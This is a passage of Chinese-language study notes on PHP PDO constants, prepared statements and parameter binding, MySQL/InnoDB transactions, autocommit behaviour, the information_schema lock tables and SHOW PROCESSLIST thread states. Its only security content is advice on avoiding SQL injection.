PDO::PARAM_STR (integer) 表示SQL中的CHAR、VARCHAR或其他字符串类型
PDO::PARAM_LOB (integer) 表示SQL中大对象数据类型
PDO::PARAM_STMT (integer) 表示一个记录集类型。当前尚未被任何驱动支持
$sth->bindParam(':calories',$calories,PDO::PARAM_INT);
$sth->bindParam(':colour',$colour,PDO::PARAM_STR,12);
$sth->bindValue(':colour',$colour,PDO::PARAM_STR);
PDO::PARAM_INPUT_OUTPUT (integer)
指定参数为一个存储过程的INOUT参数。必须用一个明确的PDO::PARAM_*数据类型跟此值进行按位或
PDO::FETCH_LAZY (integer)
指定获取方式,将结果集中的每一行作为一个对象返回,此对象的变量名对应着列名。PDO::FETCH_LAZY 创建用来访问的对象变量名。在 PDOStatement::fetchAll() 中无效
PDO::FETCH_BOTH (integer)
两者数组形式都有,这是缺省的
指定获取方式,将对应结果集中的每一行作为一个由列号和列名索引的数组返回,从第 0 列开始
$result = $sth->fetch(PDO::FETCH_BOTH);
PDO::FETCH_ASSOC (integer)
关联数组形式
指定获取方式,将对应结果集中的每一行作为一个由列名索引的数组返回。如果结果集中包含多个名称相同的列,则PDO::FETCH_ASSOC每个列名只返回一个值
$result = $sth->fetch(PDO::FETCH_ASSOC);
PDO::FETCH_NUM (integer)
数字索引数组形式
指定获取方式,将对应结果集中的每一行作为一个由列号索引的数组返回,从第 0 列开始
$result = $stmt->fetch(PDO::FETCH_NUM);
PDO::FETCH_OBJ (integer)
按照对象的形式,同fetchObject()
指定获取方式,将结果集中的每一行作为一个属性名对应列名的对象返回
$result = $sth->fetch(PDO::FETCH_OBJ);
PDO::FETCH_NAMED (integer)
指定获取方式,将对应结果集中的每一行作为一个由列名索引的数组返回。如果结果集中包含多个名称相同的列,则PDO::FETCH_ASSOC每个列名 返回一个包含值的数组
PDO::FETCH_BOUND (integer)
指定获取方式,返回 TRUE 且将结果集中的列值分配给通过 PDOStatement::bindParam() 或 PDOStatement::bindColumn() 方法绑定的 PHP 变量
PDO::FETCH_COLUMN (integer)
指定获取方式,从结果集中的下一行返回所需要的那一列
PDO::FETCH_CLASS (integer)
指定获取方式,返回一个所请求类的新实例,映射列到类中对应的属性名
注意: 如果所请求的类中不存在该属性,则调用 __set() 魔术方法
PDO::FETCH_INTO (integer)
指定获取方式,更新一个请求类的现有实例,映射列到类中对应的属性名
PDO::FETCH_FUNC (integer)
允许在运行中完全用自定义的方式处理数据。(仅在 PDOStatement::fetchAll() 中有效)
PDO::FETCH_GROUP (integer)
根据值分组返回。通常和 PDO::FETCH_COLUMN 或 PDO::FETCH_KEY_PAIR 一起使用
PDO::FETCH_UNIQUE (integer) 只取唯一值
PDO::FETCH_KEY_PAIR (integer)
获取一个有两列的结果集到一个数组,其中第一列为键名,第二列为值
PDO::FETCH_CLASSTYPE (integer) 根据第一列的值确定类名
PDO::FETCH_SERIALIZE (integer)
类似 PDO::FETCH_INTO ,但是以一个序列化的字符串表示对象,如果设置此标志则类的构造函数从不会被调用
PDO::FETCH_PROPS_LATE (integer) 设置属性前调用构造函数。自PHP5.2.0起可用
PDO::ATTR_AUTOCOMMIT (integer)
如果此值为FALSE ,PDO将试图禁用自动提交以便数据库连接开始一个事务
PDO::ATTR_PREFETCH (integer)
设置预取大小来为你的应用平衡速度和内存使用。并非所有的数据库/驱动组合都支持设置预取大小。较大的预取大小导致性能提高的同时也会占用更多的内存
PDO::ATTR_TIMEOUT (integer) 设置连接数据库的超时秒数
PDO::ATTR_ERRMODE (integer)
PDO::ATTR_SERVER_VERSION (integer) 此为只读属性;返回 PDO 所连接的数据库服务的版本信息
PDO::ATTR_CLIENT_VERSION (integer) 此为只读属性;返回 PDO 驱动所用客户端库的版本信息
PDO::ATTR_SERVER_INFO (integer) 此为只读属性。返回一些关于 PDO 所连接的数据库服务的元信息
PDO::ATTR_CONNECTION_STATUS (integer)
PDO::ATTR_CASE (integer) 用类似 PDO::CASE_* 的常量强制列名为指定的大小写
PDO::ATTR_CURSOR_NAME (integer) 获取或设置使用游标的名称。当使用可滚动游标和定位更新时候非常有用
PDO::ATTR_CURSOR (integer)
选择游标类型,PDO当前支持PDO::CURSOR_FWDONLY和PDO::CURSOR_SCROLL。一般为 PDO::CURSOR_FWDONLY,除非确实需要一个可滚动游标
PDO::ATTR_DRIVER_NAME (string) 返回驱动名称
if ($db->getAttribute(PDO::ATTR_DRIVER_NAME) == 'mysql') {
echo "Running on mysql; doing something mysql specific here\n";
}
PDO::ATTR_ORACLE_NULLS (integer)
在获取数据时将空字符串转换成 SQL 中的 NULL
PDO::ATTR_PERSISTENT (integer)
请求一个持久连接,而非创建一个新连接。关于此属性的更多信息请参见 连接与连接管理
PDO::ATTR_STATEMENT_CLASS (integer)
PDO::ATTR_FETCH_CATALOG_NAMES (integer)
将包含的目录名添加到结果集中的每个列名前面。目录名和列名由一个小数点分开(.)。此属性在驱动层面支持,所以有些驱动可能不支持此属性
PDO::ATTR_FETCH_TABLE_NAMES (integer)
将包含的表名添加到结果集中的每个列名前面。表名和列名由一个小数点分开(.)。此属性在驱动层面支持,所以有些驱动可能不支持此属性
PDO::ATTR_STRINGIFY_FETCHES (integer)
PDO::ATTR_MAX_COLUMN_LEN (integer)
PDO::ATTR_DEFAULT_FETCH_MODE (integer)
PDO::ATTR_EMULATE_PREPARES (integer)
PDO::ERRMODE_SILENT (integer) 如果发生错误,则不显示错误或异常。希望开发人员显式地检查错误。此为默认模式
PDO::ERRMODE_WARNING (integer) 如果发生错误,则显示一个 PHP E_WARNING 消息
PDO::ERRMODE_EXCEPTION (integer) 如果发生错误,则抛出一个 PDOException 异常
PDO::CASE_NATURAL (integer) 保留数据库驱动返回的列名
PDO::CASE_LOWER (integer) 强制列名小写
PDO::CASE_UPPER (integer) 强制列名大写
PDO::NULL_NATURAL (integer)
PDO::NULL_EMPTY_STRING (integer)
PDO::NULL_TO_STRING (integer)
PDO::FETCH_ORI_NEXT (integer) 在结果集中获取下一行。仅对可滚动游标有效
PDO::FETCH_ORI_PRIOR (integer) 在结果集中获取上一行。仅对可滚动游标有效
PDO::FETCH_ORI_FIRST (integer) 在结果集中获取第一行。仅对可滚动游标有效
PDO::FETCH_ORI_LAST (integer) 在结果集中获取最后一行。仅对可滚动游标有效
PDO::FETCH_ORI_ABS (integer)
根据行号从结果集中获取需要的行。仅对可滚动游标有效
PDO::FETCH_ORI_REL (integer)
根据当前游标位置的相对位置从结果集中获取需要的行。仅对可滚动游标有效
PDO::CURSOR_FWDONLY (integer)
创建一个只进游标的 PDOStatement 对象。此为默认的游标选项,因为此游标最快且是 PHP 中最常用的数据访问模式
PDO::CURSOR_SCROLL (integer)
创建一个可滚动游标的 PDOStatement 对象。通过 PDO::FETCH_ORI_* 常量来控制结果集中获取的行
PDO::ERR_NONE (string)
对应 SQLSTATE '00000',表示 SQL 语句没有错误或警告地成功发出。当用 PDO::errorCode() 或 PDOStatement::errorCode() 来确定是否有错误发生时,此常量非常方便。在检查上述方法返回的错误状态代码时,会经常用到
PDO::PARAM_EVT_ALLOC (integer) 分配事件
PDO::PARAM_EVT_FREE (integer) 解除分配事件
PDO::PARAM_EVT_EXEC_PRE (integer) 执行一条预处理语句之前触发事件
PDO::PARAM_EVT_EXEC_POST (integer) 执行一条预处理语句之后触发事件
PDO::PARAM_EVT_FETCH_PRE (integer) 从一个结果集中取出一条结果之前触发事件
PDO::PARAM_EVT_FETCH_POST (integer) 从一个结果集中取出一条结果之后触发事件
PDO::PARAM_EVT_NORMALIZE (integer) 绑定参数注册允许驱动程序正常化变量名时触发事件
pdo预处理和参数绑定 存储过程
预处理语句可以当作是想要运行的SQL的一种编译过的模板,它可以使用变量参数进行定制
预处理语句不会直接在实际查询中插入参数,这就避免了许多潜在的SQL注入
预处理 SQL 语句中的参数在使用PDOStatement::execute()方法时会传递真实的参数
预处理语句可以带来两大好处:
1.查询仅需解析或预处理一次,但可以用相同或不同的参数执行多次。当查询准备好后,数据库将分析、编译和优化执行该查询的计划
对于复杂的查询,此过程要花费较长的时间,如果需要以不同参数多次重复相同的查询,那么该过程将大大降低应用程序的速度
通过使用预处理语句,可以避免重复分析/编译/优化周期,预处理语句占用更少的资源,因而运行得更快
2.提供给预处理语句的参数不需要用引号括起来,驱动程序会自动处理。如果应用程序只使用预处理语句,可以确保不会发生SQL 注入
但如果查询的其他部分是由未转义的输入来构建的,则仍存在 SQL 注入的风险
预处理的基本策略: 将sql语句强制一分为二,第一部分为前面相同的命令和结构部分,第二部分为后面可变的数据部分
然而出于某种原因,PDO实际上并没有真正的使用预处理,它是在模拟预处理方式,在将语句传给SQL服务器之前会把参数数据插入到语句中,这使得某些系统容易受到SQL注入
如果SQL服务器不真正的支持预处理,可通过如下方式在PDO初始化时传参来修复:
$db->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);
【 不带参数预处理 】
cmd> prepare sql_1 from "select * from pdo"; //准备预处理语句
cmd> execute sql_1; //执行预处理语句
cmd> drop prepare sql_1; //删除预处理语句
【 带参数预处理 】
cmd> prepare sql_2 from "select * from pdo where id > ? && age > ?"; //占位符
cmd> set @id=2;
cmd> set @age=30;
cmd> execute sql_2 using @id,@age;
cmd> drop prepare sql_2;
【 PDO预处理: mysql预处理的封装方法 】
PDO::prepare — 准备要执行的SQL语句并返回一个PDOStatement对象
语法:
public PDOStatement PDO::prepare ( string $statement [,array $driver_options = array() ] )
参数
statement 合法的SQL语句
driver_options
此数组设置PDOStatement对象的属性,最常用到是将PDO::ATTR_CURSOR值设置为PDO::CURSOR_SCROLL来请求一个可滚动游标
如果成功PDO::prepare()返回PDOStatement对象,如果失败返回FALSE或抛出异常PDOException
bindParam方法可以通过引用绑定数值,即只在语句执行的时候查找相应数值
变量放到 bindParam 前后都可
//bindColumn 把取出的值绑定到一个变量上
$stmt->bindColumn('name',$name);
$stmt->bindColumn(2,$sex); # 还可以根据顺序绑定,可以混合使用
// 所有的条数,select insert delete update
$stmt->rowCount();
// 占位符的无效使用
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name LIKE '%?%'");
$stmt->execute(array($_GET['name']));
// 占位符必须被用在整个值的位置
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name LIKE ?");
$stmt->execute(array("%$_GET[name]%"));
报错: Cannot pass parameter 2 by reference
这个错误的意思是不能按引用传递第2个参数,出现这个错误的原因是bind_param()方法里的除表示数据类型的第一个参数外,均需要用变量,而不能用直接量,因为其它参数都是按引用传递的
mysql 事务处理transaction
mysql数据库引擎: 1.MyISAM MySQL默认引擎,支持全文本搜索,不支持事务处理,表锁(只需要update一个字段,整个表都会被锁起来,而别的进程就算是读进程都无法操作直到读操作完成),易产生碎片,要经常优化,读写速度较快,适合用于频繁查询读操作的应用 2.innoDB 不支持全文本搜索,支持事务处理,行锁,并发性能更好、CPU及内存缓存页优化使得资源利用率更高,有崩溃恢复能力,读写速度比MyISAM慢,空间占用大,适合于插入和更新等写操作比较多的应用 MyISAM类型的表强调的是性能,其执行速度比InnoDB类型更快 InnoDB中不保存表的具体行数,执行select count(*) from table时InnoDB要扫描一遍整个表来计算有多少行,但MyISAM只要简单的读出保存好的行数即可 事务处理用来维护数据的完整性,保证成批的MySQL查询或更新操作要么全部执行,要么完全不执行 应用场景: 人员管理系统中删除某个人时,删除人员基本资料,以及其信箱、文章等数据 事务的4个特征(ACID) 原子性(Atomicity)、一致性(Consistency)、独立性隔离性(Isolation)和持久性(Durability) 事务是恢复和并发控制的基本单位 事务transaction是DBMS的执行单位,由有限个数据库操作语句即一组SQL语句组成,必须满足ACID 4个条件 1.原子性: 事务是数据库的逻辑工作单位,一组事务要么全部执行,要么全不执行,不能执行部分 2.一致性: 事务的执行结果必须是使数据库从一个一致性状态变到另一个一致性状态,一致性和原子性是密切相关的 3.隔离性: 事务独立运行,一个事务执行不能被其他事务干扰,一个事务处理的结果如果影响了其他事务,那么其他事务会撤回,事务百分百隔离,需要牺牲速度 4.稳定性: 有非法数据(外键约束之类),事务撤回,一个事务一旦提交,对数据库中数据的改变就是永久性的 5.可靠性: 即使软硬件故障,innodb数据表驱动会利用日志文件重构修改 管理事务处理的关键在于将SQL语句组分解为逻辑块,并明确规定数据何时应该回退 begin/start transaction 显示的开启一个事务 commit 提交事务 rollback 回退,即取消之前的所有操作 savepoint 在事务中创建一个保存点,一个事务中可以有多个保存点,支持回退部分事务处理,rollback to point_name会退到某个保存点 savepoint语法如下: savepoint identifier rollback [work] to [savepoint] identifier release savepoint identifier【cmd 命令行使用事务处理】 【php mysqli中使用事务处理】
【php pdo中使用事务处理】 检查驱动内的一个事务当前是否处于激活,仅对支持事务的数据库驱动起作用 $db->inTransaction(); // 检查是否在一个事务内,返回布尔值
【 thinkphp事务处理transaction 】
$user->startTrans();
$user->commit();
$user->rollback();
1、在默认情况下,MySQL每执行一条SQL语句,都是一个单独的事务。
2、在MySQL命令行的默认设置下,事务都是自动提交的,即执行SQL语句后就会马上执行COMMIT操作。即对于独立的每条sql语句,mysql会自动提交或回滚。
3、如果要执行多条SQL语句组成的事务,可以显式地使用命令BEGIN或START TRANSACTION开启事务,使用commit或rollback结束事务;或执行命令SET AUTOCOMMIT=0,用来禁止当前会话使用自动提交,但是这种方式不推荐。
4、在InnoDB的事务中,对于UPDATE、DELETE和INSERT语句,InnoDB会自动给涉及数据行加排他锁(X);对于普通SELECT语句,InnoDB不会加任何锁(通过多版本并发控制实现,同时有效的解决了幻读的问题)。
5、折返点: 比如设置折返点: SAVEPOINT adqoo_1,然后利用ROLLBACK TO SAVEPOINT adqoo_1实现发生在折返点 adqoo_1 之前的事务被提交,之后的被忽略。
6、乐观锁,即通过version来实现当并发冲突发生时,冲突的SQL语句会执行失败,然后重试或放弃或交给用户处理,但不能保证事务的ACID特性。update seckill set number = number -1 where seckill_id = 1000 lock in share mode;是错误的,lock in share mode和for update只能用在select语句中
7、InnoDB采用的是两阶段锁定协议。在事务执行过程中,随时都可以执行锁定,锁只有在执行COMMIT或ROLLBACK时才会释放,并且所有的锁是在同一时刻被释放。所以在一个事务中,推荐最后执行需要独占(获得读锁)的行,尽量减少行锁持有的时间。
8、InnoDB目前处理死锁的方法是: 将持有最少行级排它锁的事务回滚。如果是因为死锁引起的回滚,可以考虑在应用程序中重新执行。
9、在事务中,如果要更新记录,应该直接申请足够级别的锁,即排他锁,而不应先申请共享锁,更新时再申请排他锁,因为当用户申请排他锁时,其他事务可能又已经获得了相同记录的共享锁,从而造成锁冲突,甚至死锁。
【 MySQL事务回滚的实现 】
是SQL语句级的,在执行事务中的SQL语句前,需要先在日志缓冲写日志,记录该事务的日志序列号和执行的SQL语句。当事务提交时,必须将存储引擎的日志缓冲写入磁盘(通过innodb_flush_log_at_trx_commit来控制)。如果回滚,不是物理恢复,是逻辑恢复,因为它是通过执行相反的dml语句来实现的。而且不会回收因为insert和upate而新增加的page页的。即insert变成delete,update变成相反的update
【 MySQL innodb事务的流程 】
以update为例,针对update he set name='liuwenhe' where id=5;
1)事务开始
2)对id=5这条数据上排他锁,并且给5两边的临近范围加gap锁,防止别的事务insert新数据;
3)将需要修改的数据页PIN到innodb_buffer_cache中;
4)记录id=5的数据到undo log. 5)记录修改id=5的信息到redo log.
6)修改id=5的name='liuwenhe'.
7)刷新innodb_buffer_cache中脏数据到底层磁盘,这个过程和commit无关;
8)commit,触发page cleaner线程把redo从redo buffer cache中刷新到底层磁盘,并且刷新innodb_buffer_cache中脏数据到底层磁盘也会触发对redo的刷新;
9)记录binlog (记录到binlog_buffer_cache中)
10)事务结束
undo用来保存数据更改之前的数据;保证原子性
redo用来保存数据更改之后的数据(注意是物理的修改信息),保证持久性
【 autocommit 】
autocommit是mysql中的InnoDb数据表特有的语句;只有在表引擎=InnoDb时,autocommit才会生效
show variables like "autocommit";
show variables like "innodb_rollback%";
on/off,关闭或不存在的话遇到超时只回滚事务最后一个Query,打开的话事务遇到超时就回滚整个事务
1. 自动提交的关闭与打开
MySQL默认是采用autocommit模式运行即打开了自动提交的。关闭自动提交有以下办法
1). Session级别: 使用START TRANSACTION或BEGIN来开始一个事务,使用ROLLBACK/COMMIT来结束一个事务。
2). Session级别: SET autocommit=0关闭当前session的自动提交。
3). 全局级别: SET GLOBAL autocommit=0关闭全局的自动提交。
2. 无法被回滚的语句
DDL语句无法被回滚,比如 create database/drop database,create/drop/alter table/routine。
3. 隐式发出commit的语句
有些语句在执行之前会隐式地发出commit。这些语句包括:
1) DDL语句
2) 隐式地使用或修改mysql数据库的语句,比如ALTER USER,CREATE USER,DROP USER,GRANT,RENAME USER,REVOKE,SET PASSWORD
3) 事务控制和锁语句,比如BEGIN,START TRANSACTION,LOCK/UNLOCK TABLES,SET autocommit = 1(原来不是1)
4) LOAD数据语句,LOAD DATA INFILE
5) 管理语句,比如 ANALYZE TABLE,CACHE INDEX,CHECK TABLE等等
6) 复制控制语句,比如 START/STOP/RESET SLAVE,CHANGE MASTER TO
【 事务和autocommit 】
默认情况下MySQL采用autocommit模式运行。这意味着当执行一个用于更新修改表的语句之后,MySQL立刻把更新存储到磁盘中,同时记录锁也会被释放。因此如果事务要执行多条更新修改语句,那么从第2条更新语句开始就是在无锁条件下执行了,这样会导致事务失效,破坏数据一致性。
避免此问题的方法就是关闭autocommit,然后通过执行commit语句来提交事务
$dbm->begin();
$dbm->query("SET autocommit=0");
// todo
$dbm->commit();
不能将"关闭autocommit"作为缺省设置,否则在innodb表上执行的查询操作也将因为没有执行commit或rollback而一直锁表!因此只能在需要时局部关闭autocommit,并在操作完成后开启autocommit
【 Innodb的事务处理autocommit参数问题 】
在Innodb引擎中事务是自动开启的,这就存在一个问题: 事务需要提交才能被执行。但是实际应用中可能很多情况只有一条sql,如果也要手动提交才能被执行的话就太麻烦了,所以Innodb引擎默认缺省的autocommit=on(show variables like '%autocommit%'),即自动提交。
但是每一条sql都自动提交(每一条sql都是一个独立事务)的话,就无法构建多张表的事务管理了。所以有必要将N条sql组成一个事务进行提交。主要有以下两种方法:
1、通过设置autocommit: 即手动设置在一段代码区间内,不自动提交,区间内的所有sql,组成一个事务手动提交;执行完毕,再还原为自动提交。
2、显示打开一个事务,该方法中,start transaction到commit(rollback)之间的sql,将会组成一个事务需要说明的是,开启事务之后,在commit(rollback)之前的sql,如果有select,且select的是当前事务会更新的行(表),那么提取出来的将是事务提交后的预定值,而不是数据库中存储的当前值。如下:
【 information_schema.innodb_trx columns 相关列信息 】 trx_id InnoDB存储引擎内部唯一的事务ID trx_state 当前事务的状态: RUNNING,LOCK WAIT,ROLLING BACK or COMMITTING. trx_started 事务的开始时间 trx_requested_lock_id 事务等待的锁的ID(事务状态非LOCK WAIT时这个字段是NULL),详细的锁的信息可连查INNODB_LOCKS表 trx_wait_started 事务等待开始的时间 (如果事务状态不是LOCK WAIT,这个字段是NULL) trx_weight 事务的权重,反映一个事务修改和锁住的行数。发生死锁回滚的时优先选择该值最小的进行回滚 trx_mysql_thread_id Mysql中的线程ID,show processlist显示的结果 trx_query 事务运行的sql语句 trx_operation_state 事务当操作的类型 如updating or deleting,starting index read等 trx_tables_in_use 查询用到的表的数量 trx_tables_locked 查询加行锁的表的数量 trx_lock_structs 事务保留的锁的数量 trx_lock_memory_bytes 锁在内存占用的空间大小 trx_rows_locked 事务锁住的行数(不是准确数字) trx_rows_modified 事务插入或修改的行数 trx_isolation_level 隔离级别 trx_unique_checks 唯一键检测 是否开启 trx_foreign_key_checks 外键检测 是否开启 trx_last_foreign_key_error Detailed error message for last FK error,or NULL. trx_concurrency_tickets A value indicating how muchworkthe current transaction can do before being swapped out,as specified by the innodb_concurrency_ticketsoption. trx_adaptive_hash_latched Whether or not the adaptive hash index is locked by the current transaction. (Only a single transaction at a time can modify the adaptive hash index.) trx_adaptive_hash_timeout Whether to relinquish the search latch immediately for the adaptive hash index,or reserve it across calls from MySQL. When there is no AHI contention,this value remains zero and statements reserve the latch until they finish. During times of contention,it counts down to zero,and statements release the latch immediately after each row lookup.查询正在执行的事务
【 information_schema.innodb_locks表的各个字段 】 mysql> select * from information_schema.innodb_locks; // 查看正在锁的事务 lock_id 锁ID lock_trx_id 事务ID,可以连INNODB_TRX表查事务详情 lock_mode 锁的模式: S,X,IS,IX,S_GAP,X_GAP,IS_GAP,IX_GAP,or AUTO_INC lock_type 锁的类型,行级锁 或表级锁 lock_table 加锁的表 lock_index 如果是lock_type='RECORD' 行级锁 ,为锁住的索引,如果是表锁为null lock_space 如果是lock_type='RECORD' 行级锁 ,为锁住对象的Tablespace ID,如果是表锁为null lock_page 如果是lock_type='RECORD' 行级锁 ,为锁住页号,如果是表锁为null lock_rec 如果是lock_type='RECORD' 行级锁 ,为锁住页号,如果是表锁为null lock_data 事务锁住的主键值,若是表锁,则该值为null 【information_schema.INNODB_LOCK_WAITS表包含了blocked的事务的锁等待的状态】 mysql> select * from information_schema.innodb_lock_waits; // 查看等待锁的事务 requesting_trx_id 申请锁资源的事务ID requesting_lock_id 申请的锁的ID blocking_trx_id 阻塞的事务ID blocking_lock_id 阻塞的锁的ID查看比较完整的阻塞信息和事务情况查看当前运行的事务的账户和事务开始的时间,及其事务语句查看事务等待状况查看更具体的事务等待状况查看未关闭的事务查看某段时间以来未关闭事务
【 mysql线程信息 】 如果有root权限可以看到所有线程,否则只能看到登录的用户自己的线程,通常只会显示100条,如果想看跟多的可以使用full修饰(show full processlist) 访问performance_schema.threads表不需要互斥锁,还显示有关后台线程,对服务器性能影响最小 information_schema.processlist和show processlist由于需要互斥锁而具有负面的性能后果 线程可以用KILL语句杀死: kill 线程id mysql> select * from performance_schema.threads\G cmd> show processlist cmd> select * from information_schema.processlist where info is not null; +----+------+-----------------+---------+---------+------+----------+------------------+ | Id | User | Host | db | Command | Time | State | Info | +----+------+-----------------+---------+---------+------+----------+------------------+ | 3 | root | localhost:51657 | my_db01 | Sleep | 3268 | | NULL | | 4 | root | localhost:51744 | my_db01 | Query | 0 | starting | show processlist | +----+------+-----------------+---------+---------+------+----------+------------------+ 2 rows in set (0.00 sec) 所产生的列SHOW PROCESSLIST具有以下含义: Id: 连接标识符,这是同一类型的在所显示的值ID的列INFORMATION_SCHEMA.PROCESSLIST表,该PROCESSLIST_ID性能视图的列threads表,并且通过返回的CONNECTION_ID()功能。要kill一个语句的时候很有用 User: 发出声明的MySQL用户,如果是system user,它是指由服务器产生的非客户线程,以在内部处理任务。这可能是复制从站或延迟行处理程序使用的I / O或SQL线程。unauthenticated user指的是已经与客户端连接关联但是还没有完成客户机用户的认证的线程。 event_scheduler指的是监视预定事件的线程。如果是system user那么在Host列中不会指定主机 Host: 发出该语句的客户端的主机名(system user没有主机除外),以便更容易地确定哪个客户端正在做什么,显示方式: host_name:client_port。 db: 当前执行语句对应的默认数据库,如果选择了;否则为NULL。 Command: 显示这个线程此刻正在执行的命令,一般对应DDL或DML语句。 Time: 表示线程处于当前状态的时间长短,线程当前时间的概念在某些情况下可能会发生改变: 线程可以改变时间。对于正在从主机处理事件的从站上运行的线程,线程时间设置为事件中发现的时间,因此反映了主站而不是从站的当前时间。SET TIMESTAMP = value。 State: 对应Command指令,大多数状态对应于非常快速的操作。如果线程在给定状态下保持多秒,则可能存在需要调查的问题。 Info: 包含由线程执行的语句的文本或NULL,如果它不是执行的话。默认情况下,此值仅包含语句的前100个字符。要查看完整的语句,请使用SHOW FULL PROCESSLIST。 二、线程命令(Command)值 线程可以具有以下任何Command值: Binlog Dump: 这是主服务器上的线程,用于将二进制日志内容发送到从服务器。 Table Dump: 线程将表内容发送到从服务器。 Change user: 线程正在执行改变用户操作。 Close stmt: 线程正在关闭准备好的语句。 Connect: 复制中,从服务器连接到其主服务器。 Connect Out: 复制中,从服务器正在连接到其主服务器。 Create DB: 线程正在执行create-database操作。 Daemon: 此线程在服务器内部,而不是服务客户端连接的线程。 Debug: 线程正在生成调试信息。 Delayed insert: 线程是一个延迟插入处理程序。 Drop DB: 线程正在执行drop-database操作。 Execute: 线程正在执行一个准备好的语句。 Fetch: 线程正在执行一个准备语句的结果。 Field List: 线程正在检索表列的信息。 Init DB: 线程正在选择默认数据库。 Kill: 线程正在杀死另一个线程。 Long Data: 该线程在执行一个准备语句的结果中检索长数据。 Ping: 线程正在处理服务器ping请求。 Prepare: 线程正在准备一个准备好的语句。 Processlist: 线程正在生成有关服务器线程的信息。 Query: 该线程正在执行一个语句。 Quit: 线程正在终止。 Refresh: 线程是刷新表,日志或缓存,或重置状态变量或复制服务器信息。 Register Slave: 线程正在注册从服务器。 Reset stmt: 线程正在重置一个准备好的语句。 Set option: 线程正在设置或重置客户端语句执行选项。 Shutdown: 线程正在关闭服务器。 Sleep: 线程正在等待客户端向其发送新的语句。 Statistics: 线程正在生成服务器状态信息。 Time: 没用过。 三、线程状态(State)值 一般线程状态(State)值 以下列表描述State 了与常规查询处理关联的线程值,而不是更复杂的活动,例如复制。其中许多仅用于在服务器中查找错误。 After create: 当线程创建表(包括内部临时表)时,会在创建表的函数的末尾创建。即使由于某些错误而无法创建表,也会使用此状态。 Analyzing: 线程正在计算MyISAM表密钥分布(例如:for ANALYZE TABLE)。 checking permissions: 线程正在检查服务器是否具有执行语句所需的权限。 Checking table: 线程正在执行表检查操作。 cleaning up: 线程已经处理了一个命令,正在准备释放内存并重置某些状态变量。 closing tables: 线程将更改的表数据刷新到磁盘并关闭已用表。这应该是一个快速的操作。如果没有,请验证您是否没有完整的磁盘,并且磁盘没有被非常大的使用。 copy to tmp table: 线程正在处理ALTER TABLE语句,此状态发生在已创建新结构的表之后,但将行复制到该表之前。对于此状态的线程,可以使用性能模式来获取有关复制操作的进度。 Copying to group table: 如果语句具有不同ORDER BY和GROUP BY标准,各行按组排列和复制到一个临时表。 Creating index: 线程正在处理ALTER TABLE … ENABLE KEYS一个MyISAM表。 Creating sort index: 线程正在处理一个SELECT使用内部临时表解析的线程 。 creating table: 线程正在创建一个表,这包括创建临时表。 committing alter table to storage engine: 服务器已经完成就位ALTER TABLE并提交结果。 deleting from main table: 服务器正在执行多表删除的第一部分,它仅从第一个表中删除,并从其他(引用)表中保存要用于删除的列和偏移量。 deleting from reference tables: 服务器正在执行多表删除的第二部分,并从其他表中删除匹配的行。 discard_or_import_tablespace: 线程正在处理ALTER TABLE … DISCARD TABLESPACE或ALTER TABLE … IMPORT TABLESPACE声明。 end: 这发生在结束,但的清理之前ALTER TABLE,CREATE VIEW,DELETE,INSERT,SELECT,或UPDATE语句。 executing: 该线程已经开始执行一个语句。 Execution of init_command: 线程正在init_command系统变量的值中执行语句 。 freeing items: 线程已经执行了一个命令,在这种状态下完成的项目的一些释放涉及查询缓存,这个状态通常在后面cleaning up。 FULLTEXT initialization: 服务器正在准备执行自然语言全文搜索。 init: 此操作在初始化ALTER TABLE,DELETE,INSERT,SELECT,or UPDATE之前发生,服务器在该状态中采取的操作包括刷新二进制日志、Innodb日志和一些查询缓存清理操作。对于最终状态,可能会发生以下操作: 更改表中的数据后删除查询缓存项、将事件写入二进制日志、释放内存缓冲区,包括blob。 Killed: 执行KILL语句,向线程发送了一个声明,下次检查kill标志时应该中断。在MySQL的每个主循环中检查该标志,但在某些情况下,线程可能需要很短时间才能死掉。如果线程被某个其他线程锁定,则一旦其他线程释放锁定,该kill就会生效。 Locking system tables: 线程正在尝试锁定系统表(例如,时区或日志表)。 login: 连接线程的初始状态,直到客户端成功认证为止。 manage keys: 服务器启用或禁用表索引。 NULL: 该状态用于SHOW PROCESSLIST状态。 Opening system tables: 线程尝试打开系统表(例如,时区或日志表)。 Opening tables: 线程正在尝试打开一个表,这应该是非常快的程序,除非有事情阻止打开。例如,一个ALTER TABLE或一个LOCK TABLE语句可以阻止打开一个表,直到语句完成。还可能需要关注table_open_cache参数的值是否足够大。对于系统表,使用Opening system tables状态。 optimizing: 服务器正在执行查询的初始优化。 preparing: 此状态发生在查询优化期间。 Purging old relay logs: 线程正在删除不需要的中继日志文件。 query end: 处理查询之后,freeing items状态之前会发生这种状态。 Removing duplicates: 该查询的使用SELECT DISTINCT方式使得MySQL不能在早期阶段优化不同的操作。因此,MySQL需要一个额外的阶段来删除所有重复的行,然后将结果发送给客户端。 removing tmp table: 处理语句后,该线程正在删除一个内部临时表SELECT 。如果没有创建临时表,则不使用该状态。 rename: 线程正在重命名一个表。 rename result table: 线程正在处理一个ALTER TABLE语句,已经创建了新表,并重新命名它来替换原始表。 Reopen tables: 线程获得了表的锁,但在获得基础表结构更改的锁之后注意到。它释放了锁,关闭了table,并试图重新打开它。 Repair by sorting: 修复代码正在使用排序来创建索引。 preparing for alter table: 服务器正在准备就地执行ALTER TABLE。 Repair done: 线程已经完成了一个MyISAM表的多线程修复 。 Repair with keycache: 修复代码通过密钥缓存逐个使用创建密钥,这比慢得多Repair by sorting。 Rolling back: 线程正在回滚事务。 Saving state: 对于MyISAM表操作(如修复或分析),线程将新的表状态保存到.MYI文件头。状态包括行数,AUTO_INCREMENT计数器和键分布等信息。 Searching rows for update: 线程正在进行第一阶段,以便在更新之前查找所有匹配的行。如果UPDATE要更改用于查找涉及的行的索引,则必须执行此操作 。 setup: 线程正在开始一个ALTER TABLE操作。 Sorting for group: 线程正在做一个满足一个GROUP BY。 Sorting for order: 线程正在做一个满足一个ORDER BY。 Sorting index: 线程是排序索引页,以便在MyISAM表优化操作期间更有效地访问。 Sorting result: 对于一个SELECT语句,这类似于Creating sort index,但是对于非临时表。 statistics: 服务器正在计算统计信息以开发查询执行计划。如果一个线程长时间处于这种状态,服务器可能是磁盘绑定的,执行其他工作。 update: 线程正在准备开始更新表。 Updating: 线程正在搜索要更新的行并正在更新它们。 updating main table: 服务器正在执行多表更新的第一部分,它仅更新第一个表,并保存用于更新其他(引用)表的列和偏移量。 updating reference tables: 服务器正在执行多表更新的第二部分,并从其他表更新匹配的行。 User lock: 